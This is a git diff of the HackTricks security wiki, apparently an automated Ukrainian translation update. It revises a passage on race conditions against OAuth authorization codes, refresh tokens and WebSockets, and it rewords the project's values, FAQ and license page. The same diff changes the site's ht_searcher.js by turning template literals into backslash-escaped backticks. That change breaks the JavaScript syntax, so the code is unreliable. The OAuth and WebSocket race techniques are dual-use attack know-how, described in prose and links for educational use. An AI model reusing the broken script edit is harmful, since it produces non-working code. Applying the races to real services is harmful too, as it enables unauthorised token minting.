+The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Потім цей application зловживає Race Condition у OAUth service provider, щоб згенерувати більше ніж один AT/RT (Authentication Token/Refresh Token) з `authorization_code` для вашого облікового запису. По суті, воно зловживає тим, що ви дозволили додатку доступ до ваших даних, щоб **створити кілька облікових записів**. Якщо ви перестанете дозволяти додатку доступ до ваших даних, одна пара AT/RT буде видалена, але інші залишаться дійсними.
#### Race Condition in `Refresh Token`
@@ -371,7 +379,7 @@ Once you have **obtained a valid RT** you could try to **abuse it to generate se
## **RC in WebSockets**
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**.
-- With Burp’s WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
+- Використовуючи Burp’s WebSocket Turbo Intruder, ви можете застосувати рушій **THREADED** для створення кількох WS-з’єднань та одночасного відправлення payloads. Почніть з офіційного прикладу та налаштуйте `config()` (кількість потоків) для досягнення конкурентності; це часто надійніше, ніж відправка пакетів по одному з'єднанню при змаганні за стан на стороні сервера між WS-обробниками. Див. [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## References
diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md
index c58af21d3..ce7e3bc79 100644
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@@ -1,21 +1,21 @@
-# Цінності HackTricks та FAQ
+# Цінності HackTricks і FAQ
{{#include ../banners/hacktricks-training.md}}
## Цінності HackTricks
> [!TIP]
-> Це **цінності проєкту HackTricks**:
+> Ось **цінності проєкту HackTricks**:
>
-> - Надавати **FREE** доступ до **EDUCATIONAL hacking** ресурсів для **ВСЬОГО** інтернету.
-> - Hacking пов'язаний з навчанням, і навчання має бути якомога більш вільним.
-> - Мета цієї книги — слугувати як всеохопний **освітній ресурс**.
-> - **ЗБЕРІГАТИ** чудові **hacking** техніки, які публікує спільнота, віддаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** всі **визнання**.
-> - **Ми не прагнемо отримати чужі заслуги**, ми просто хочемо зберегти цікаві трюки для всіх.
-> - Ми також пишемо **власні дослідження** в HackTricks.
-> - У кількох випадках ми писатимемо **в HackTricks короткий виклад важливих частин** техніки і **закликатимемо читача перейти до оригінального поста** за деталями.
-> - **ОРГАНІЗОВУВАТИ** всі hacking техніки в книзі, щоб це було **БІЛЬШ ДОСТУПНО**
-> - Команда HackTricks присвятила тисячі годин безкоштовно **лише для організації контенту**, щоб люди могли **вчитися швидше**
+> - Забезпечити **БЕЗКОШТОВНИЙ** доступ до **ОСВІТНІХ hacking** ресурсів для **ВСІХ** користувачів Інтернету.
+> - Hacking — це про навчання, і навчання має бути якомога безкоштовним.
+> - Метою цієї книги є служити як всебічний **освітній ресурс**.
+> - **ЗБЕРІГАТИ** відмінні **hacking** техніки, які публікує спільнота, віддаючи **ОРИГІНАЛЬНИМ** **АВТОРАМ** все **визнання**.
+> - **Ми не прагнемо чужого визнання**, ми просто хочемо зберігати круті трюки для всіх.
+> - Ми також пишемо **наші власні дослідження** в HackTricks.
+> - У деяких випадках ми просто напишемо **в HackTricks резюме важливих частин** техніки та будемо **заохочувати читача відвідати оригінальний допис** для отримання детальнішої інформації.
+> - **ОРГАНІЗОВУВАТИ** всі hacking техніки в книзі, щоб вони були **БІЛЬШ ДОСТУПНИМИ**
+> - Команда HackTricks присвятила тисячі годин безкоштовно **тільки для організації контенту**, щоб люди могли **вчитися швидше**
@@ -23,35 +23,35 @@
> [!TIP]
>
-> - **Дякую за ці ресурси, як я можу вас підтримати?**
+> - **Дуже дякую за ці ресурси, як я можу подякувати?**
-Ви можете публічно подякувати командам HackTricks за збирання всіх цих ресурсів в твіті, згадавши [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
-Якщо ви особливо вдячні, ви також можете [**профінансувати проєкт тут**](https://github.com/sponsors/carlospolop).\
-І не забудьте **поставити зірку в проектах на Github!** (Посилання нижче).
+Ви можете публічно подякувати командам HackTricks за збирання всіх цих ресурсів, опублікувавши твіт із згадкою [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
+Якщо ви особливо вдячні, ви також можете [**підтримати проект тут**](https://github.com/sponsors/carlospolop).\
+І не забудьте **поставити зірку у проектах на Github!** (Посилання нижче).
> [!TIP]
>
-> - **Як я можу зробити внесок у проєкт?**
+> - **Як я можу зробити внесок у проект?**
Ви можете **поділитися новими порадами та трюками зі спільнотою або виправити баги**, які знайдете в книгах, надіславши **Pull Request** на відповідні сторінки Github:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
-Не забудьте **поставити зірку в проектах на Github!**
+Не забудьте **поставити зірку у проектах на Github!**
> [!TIP]
>
-> - **Чи можу я копіювати частину контенту з HackTricks і публікувати в своєму блозі?**
+> - **Чи можу я скопіювати частину контенту з HackTricks і розмістити її в своєму блозі?**
Так, можете, але **не забудьте вказати конкретні посилання**, звідки взято контент.
> [!TIP]
>
-> - **Як мені цитувати сторінку з HackTricks?**
+> - **Як цитувати сторінку HackTricks?**
-Поки вказано посилання **на** сторінку(и), звідки ви взяли інформацію, цього достатньо.\
-Якщо вам потрібен bibtex, ви можете використовувати щось на кшталт:
+Достатньо вказати посилання на сторінку(и), звідки ви взяли інформацію.\
+Якщо вам потрібен bibtex, ви можете використати щось на кшталт:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@@ -64,80 +64,80 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
>
> - **Can I copy all HackTricks in my blog?**
-**Я б радше ні**. Це **не принесе користі нікому**, оскільки весь **контент вже публічно доступний** в офіційних книгах HackTricks безкоштовно.
+**Я б радше ні**. Це **не принесе користі нікому**, оскільки весь **вміст уже публічно доступний** в офіційних книгах HackTricks безкоштовно.
-Якщо ви боїтеся, що він зникне, просто fork it in Github або завантажте його, як я вже казав — він уже безкоштовний.
+Якщо ви боїтеся, що це зникне, просто зробіть fork на Github або завантажте його, як я вже сказав — воно вже БЕЗКОШТОВНО.
> [!WARNING]
>
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
-Першою **цінністю** HackTricks є надання **БЕЗКОШТОВНИХ** освітніх ресурсів з hacking для **всього** світу. Команда HackTricks **присвятила тисячі годин**, щоб надати цей контент, знову ж таки, **БЕЗКОШТОВНО**.
+Першою **цінністю** HackTricks є надання **БЕЗКОШТОВНИХ** освітніх ресурсів з хакінгу **ВСЬОМУ** світу. Команда HackTricks **присвятила тисячі годин**, щоб надати цей вміст, знову ж таки — **БЕЗКОШТОВНО**.
-Якщо ви вважаєте, що книги HackTricks створені для **комерційних цілей**, ви **ПОВНІСТЮ НЕПРАВІ**.
+Якщо ви думаєте, що книги HackTricks створені для **комерційних цілей**, ви **ЦЕ ПОВНІСТЮ НЕПРАВДА**.
-У нас є спонсори тому, що, навіть якщо весь контент БЕЗКОШТОВНИЙ, ми хочемо **дати спільноті можливість оцінити нашу роботу**, якщо вони цього бажають. Тому ми пропонуємо людям можливість зробити донат HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також відповідним cybersecurity компаніям спонсорувати HackTricks і розміщувати певну рекламу в книзі — реклама завжди розміщується в місцях, де вона **видима**, але **не заважає процесу навчання**, якщо хтось зосереджений на контенті.
+Ми маємо спонсорів, тому що, навіть якщо весь вміст БЕЗКОШТОВНИЙ, ми хочемо **дати спільноті можливість оцінити нашу роботу**, якщо вони цього бажають. Тому ми пропонуємо людям опцію пожертвувати HackTricks через [**Github sponsors**](https://github.com/sponsors/carlospolop), а також **відповідні компанії з кібербезпеки** можуть спонсорувати HackTricks і розміщувати **оголошення** у книзі — ці **оголошення** завжди розміщуються так, щоб бути **помітними**, але **не заважати** процесу навчання, якщо хтось зосереджений на вмісті.
-Ви не знайдете HackTricks, напханого дратівливою рекламою, як інші блоги з набагато меншим контентом, ніж HackTricks, тому що HackTricks не створено з комерційною метою.
+Ви не знайдете HackTricks заповненим дратівливими оголошеннями, як інші блоги з набагато меншим вмістом, тому що HackTricks не створювався з комерційною метою.
> [!CAUTION]
>
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
-**Нам дуже шкода. Це не повинно було статися**. Будь ласка, повідомте нам через Github issues, Twitter, Discord... посилання на сторінку HackTricks зі вмістом та посилання на ваш блог, і **ми перевіримо це і додамо якнайшвидше**.
+**Нам дуже шкода. Такого не повинно було статися**. Будь ласка, повідомте нам через Github issues, Twitter, Discord... посилання на сторінку HackTricks з відповідним вмістом і посилання на ваш блог — **ми перевіримо це і додамо посилання ЯКНАЙШВИДШЕ**.
> [!CAUTION]
>
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
-Зверніть увагу, що наявність посилань на вашу сторінку в HackTricks:
+Зауважте, що наявність посилань на вашу сторінку в HackTricks:
-- Поліпшує ваше **SEO**
-- Контент **перекладається більш ніж на 15 мов**, що дозволяє більшій кількості людей отримати доступ до цього матеріалу
-- **HackTricks заохочує** людей **переглядати вашу сторінку** (кілька людей повідомляли нам, що з того часу, як якась їхня сторінка з'явилася в HackTricks, вони отримують більше відвідувачів)
+- Покращує вашу **SEO**
+- Вміст **перекладається більш ніж на 15 мов**, що дає змогу більшій кількості людей отримати доступ до цього матеріалу
+- **HackTricks заохочує** людей **переглядати вашу сторінку** (декілька людей повідомляли нам, що з тих пір, як якась їхня сторінка з'явилася в HackTricks, вони отримали більше відвідувачів)
-Однак, якщо ви все ще хочете, щоб контент вашого блогу був видалений з HackTricks, просто дайте нам знати і ми обов'язково **видалимо всі посилання на ваш блог**, а також будь-який контент, що базується на ньому.
+Однак, якщо ви все ще хочете, щоб вміст вашого блогу був видалений з HackTricks, просто повідомте нам, і ми обов'язково **видалимо всі посилання на ваш блог** та будь-який вміст, що на ньому базується.
> [!CAUTION]
>
> - **What should I do if I find copy-pasted content in HackTricks?**
-Ми завжди **надаємо оригінальним авторам всі належні кредити**. Якщо ви знайдете сторінку зі скопійованим контентом без посилання на оригінальне джерело, повідомте нам і ми або **видалимо його**, або **додамо посилання перед текстом**, або **перепишемо його, додавши посилання**.
+Ми завжди **надаємо оригінальним авторам усі кредити**. Якщо ви знайдете сторінку з копіпастою без посилання на джерело, повідомте нам, і ми або **видалимо її**, або **додамо посилання перед текстом**, або **перепишемо її, додавши посилання**.
-## ЛІЦЕНЗІЯ
+## LICENSE
Авторське право © Усі права захищені, якщо не вказано інше.
-#### Короткий огляд ліцензії:
+#### License Summary:
-- Атрибуція: Вам дозволено:
-- Поширювати — копіювати та перерозподіляти матеріал у будь-якому середовищі або форматі.
-- Модифікувати — реміксувати, трансформувати та створювати похідні матеріали на основі цього матеріалу.
+- Attribution: You are free to:
+- Share — копіювати та поширювати матеріал у будь-якому середовищі чи форматі.
+- Adapt — реміксувати, трансформувати та створювати похідні матеріали на основі матеріалу.
-#### Додаткові умови:
+#### Additional Terms:
-- Third-Party Content: Деякі частини цього блогу/книги можуть містити матеріали з інших джерел, такі як витяги з інших блогів або видань. Використання такого контенту здійснюється відповідно до принципів fair use або з явного дозволу відповідних правовласників. Будь ласка, звертайтеся до оригінальних джерел для конкретної інформації про ліцензування матеріалів третіх сторін.
-- Authorship: Оригінальний контент, створений HackTricks, підпадає під умови цієї ліцензії. Рекомендується вказувати авторство при поширенні або адаптації цієї роботи.
+- Third-Party Content: Деякі частини цього блогу/книги можуть включати вміст з інших джерел, таких як витяги з інших блогів або публікацій. Використання такого вмісту здійснюється відповідно до принципів fair use або з явного дозволу відповідних правовласників. Будь ласка, звертайтеся до оригінальних джерел для отримання конкретної інформації про ліцензування стороннього вмісту.
+- Authorship: Оригінальний вміст, створений HackTricks, підпадає під умови цієї ліцензії. Рекомендується вказувати авторство цієї роботи при її поширенні або адаптації.
-#### Винятки:
+#### Exemptions:
-- Commercial Use: Для запитів щодо комерційного використання цього контенту, будь ласка, зв'яжіться зі мною.
+- Commercial Use: Для запитів щодо комерційного використання цього вмісту, будь ласка, зв'яжіться зі мною.
-Ця ліцензія не надає жодних прав на торгові марки або брендинг у зв'язку з контентом. Усі торгові марки та бренди, що фігурують у цьому блозі/книзі, належать їх відповідним власникам.
+Ця ліцензія не надає жодних прав на торгові марки або бренд у зв'язку з вмістом. Усі торгові марки та бренди, що фігурують у цьому блозі/книзі, належать їх відповідним власникам.
-**By accessing or using HackTricks, you agree to abide by the terms of this license. If you do not agree with these terms, please, do not access this website.**
+**Отримуючи доступ або використовуючи HackTricks, ви погоджуєтеся дотримуватися умов цієї ліцензії. Якщо ви не погоджуєтеся з цими умовами, будь ласка, не заходьте на цей вебсайт.**
## **Відмова від відповідальності**
> [!CAUTION]
-> Ця книга, 'HackTricks,' призначена виключно для освітніх та інформаційних цілей. Контент цієї книги надається "як є", і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних чи неявних, щодо повноти, точності, надійності, придатності чи доступності інформації, продуктів, послуг або пов'язаних графічних матеріалів, що містяться в цій книзі. Будь-яка довіра, яку ви покладаєте на таку інформацію, здійснюється виключно на ваш власний ризик.
+> Ця книга, 'HackTricks', призначена виключно для освітніх та інформаційних цілей. Вміст цієї книги надається "як є", і автори та видавці не роблять жодних заяв або гарантій будь-якого роду, явних чи імпліцитних, щодо повноти, точності, надійності, придатності або доступності інформації, продуктів, послуг або пов'язаних графічних матеріалів, що містяться в цій книзі. Будь-яка довіра, яку ви покладаєте на таку інформацію, здійснюється виключно на ваш страх і ризик.
>
-> Автори та видавці у жодному випадку не нестимуть відповідальності за будь-які збитки чи втрати, включно, але не обмежуючись, непрямими або наступними збитками чи втратами, або будь-якими збитками чи втратами, що виникають у зв'язку з втратою даних або прибутків у результаті використання цієї книги.
+> Автори та видавці жодним чином не несуть відповідальності за будь-які збитки або втрати, включаючи, без обмежень, побічні або наслідкові збитки, або будь-які збитки чи втрати, що виникають у зв'язку з втратою даних або прибутків у зв'язку з використанням цієї книги.
>
-> Крім того, техніки та поради, описані в цій книзі, надаються лише в освітніх та інформаційних цілях і не повинні використовуватися для будь-якої незаконної або шкідливої діяльності. Автори та видавці не схвалюють і не підтримують будь-які незаконні або неетичні дії, і будь-яке використання інформації, що міститься в цій книзі, здійснюється на ваш власний ризик і за вашою власною відповідальністю.
+> Крім того, техніки та поради, описані в цій книзі, надаються лише в освітніх і інформаційних цілях і не повинні використовуватися для будь-яких незаконних або зловмисних дій. Автори та видавці не підтримують і не заохочують жодних незаконних або неетичних дій, і будь-яке використання інформації, що міститься в цій книзі, відбувається на власний ризик і розсуд користувача.
>
-> Користувач несе повну відповідальність за будь-які дії, вчинені на основі інформації, що міститься в цій книзі, і повинен завжди звертатися за професійною порадою та допомогою при спробі реалізувати будь-які з описаних технік чи порад.
+> Користувач несе повну відповідальність за будь-які дії, вжиті на підставі інформації, що міститься в цій книзі, і завжди повинен звертатися за професійною порадою та допомогою при спробі реалізувати будь-які з описаних технік або порад.
>
-> Використовуючи цю книгу, користувач погоджується звільнити авторів і видавців від будь-якої відповідальності за будь-які збитки, втрати або шкоду, які можуть виникнути в результаті використання цієї книги або будь-якої інформації, що міститься в ній.
+> Використовуючи цю книгу, користувач погоджується звільнити авторів і видавців від будь-якої відповідальності за будь-які збитки, втрати або шкоду, які можуть виникнути внаслідок використання цієї книги або будь-якої інформації, що в ній міститься.
{{#include ../banners/hacktricks-training.md}}
diff --git a/theme/ai.js b/theme/ai.js
index 761454181..22e64f5f8 100644
--- a/theme/ai.js
+++ b/theme/ai.js
@@ -491,3 +491,4 @@
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();
+
diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js
index 77f10f607..6b105f263 100644
--- a/theme/ht_searcher.js
+++ b/theme/ht_searcher.js
@@ -68,11 +68,11 @@
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
- const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
- const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
+ const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
+ const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
- const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
- const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
+ const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
+ const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
const indices = [];
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
@@ -208,3 +208,4 @@
listOut.classList.toggle('hidden',!docs.length);
};
})();
+